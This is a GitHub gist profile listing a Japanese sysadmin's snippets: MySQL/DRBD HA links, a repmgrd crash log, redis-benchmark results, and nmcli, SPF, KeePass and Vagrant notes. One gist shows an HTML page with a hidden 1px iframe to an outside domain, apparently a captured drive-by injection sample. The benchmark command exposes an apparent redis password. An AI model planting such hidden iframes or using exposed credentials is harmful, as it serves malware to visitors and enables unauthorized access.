Skip to content

Instantly share code, notes, and snippets.

View yteraoka's full-sized avatar

Yoshinori Teraoka yteraoka

View GitHub Profile
@yteraoka
yteraoka / mysql-ha.txt
Created June 11, 2017 14:09
MySQL-HA-Cluster-on-CentOS7-using-DRBD
https://www.lisenet.com/2016/activepassive-mysql-high-availability-pacemaker-cluster-with-drbd-on-centos-7/
http://clusterlabs.org/doc/it-IT/Pacemaker/1.1/html/Clusters_from_Scratch/ch07.html
http://elrepo.org/tiki/tiki-index.php
http://qiita.com/sion_cojp/items/a6a329df0415a843fb12
https://blog.3ware.co.jp/drbd-users-guide-8.3/s-configure-split-brain-behavior.html
/var/log/repmgr/repmgr-9.5.log
[2016-09-28 00:43:43] [ERROR] promote command failed. You could check and try it manually.
*** Error in `/usr/pgsql-9.5/bin/repmgrd': double free or corruption (out): 0x00000000008291c0 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x7cfe1)[0x7fced6cf9fe1]
/usr/pgsql-9.5/lib/libpq.so.5(+0xa7df)[0x7fced70487df]
/usr/pgsql-9.5/bin/repmgrd[0x409db3]
/usr/pgsql-9.5/bin/repmgrd[0x40db68]
/usr/pgsql-9.5/bin/repmgrd[0x40304a]
@yteraoka
yteraoka / direct.txt
Last active January 24, 2017 02:18
redis 直接と haproxy 経由での redis-benchmark 比較
$ redis-benchmark -a gDDTEGhRnReCKQEn -p 6479 -h 192.168.140.74
====== PING_INLINE ======
100000 requests completed in 2.48 seconds
50 parallel clients
3 bytes payload
keep alive: 1
41.71% <= 1 milliseconds
93.96% <= 2 milliseconds
99.36% <= 3 milliseconds
@yteraoka
yteraoka / gihyo.txt
Last active August 29, 2015 14:10
gihyo-20141206
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<iframe src="http://www.koushin-lawfirm.jp/" style="width:100%; height:100%;"></iframe>
<iframe src="http://live.livelistingreport.com/?PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cYWIyYzgzZDgwNTI1MTFjYmQwMDk4ZjFlODM0ODA4ZjI" style="width:1px; height:1px; visibility:hidden;"></iframe>
</body>
</html>
@yteraoka
yteraoka / nmcli-bonding.md
Last active October 2, 2015 05:03
nmcli-bonding

CentOS7 で nmcli を使って bonding 設定を行う。

前提

  • ネットワークのインターフェースが2つある
  • 両方とも switch に接続されている
  • 片方だけIPアドレスが設定してあり有効になっている

↓こんな環境

@yteraoka
yteraoka / spfaddr.rb
Created July 1, 2014 12:16
SPF record の ip4 部分を再帰的に取り出す
#! /usr/bin/env ruby
#****************************************************************************
#
# Usage: spfaddr.rb <domain>
#
# spfaddr.rb _spf.google.com
#
#****************************************************************************
require 'dnsruby'

Change Language

View -> Change Language -> Get more languages...

http://keepass.info/translations.html

ダウンロードした zip ファイルを展開して ~/.local/share/KeePass/ に置く、日本語の場合のファイル名は Japanese.lngx

kandan setup memo

2014-02-15

stable version

yum install nodejs --enablerepo=epel

Vagrant memo

メモリサイズ、CPU数を変更する

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|

  ...

  config.vm.provider :virtualbox do |vb|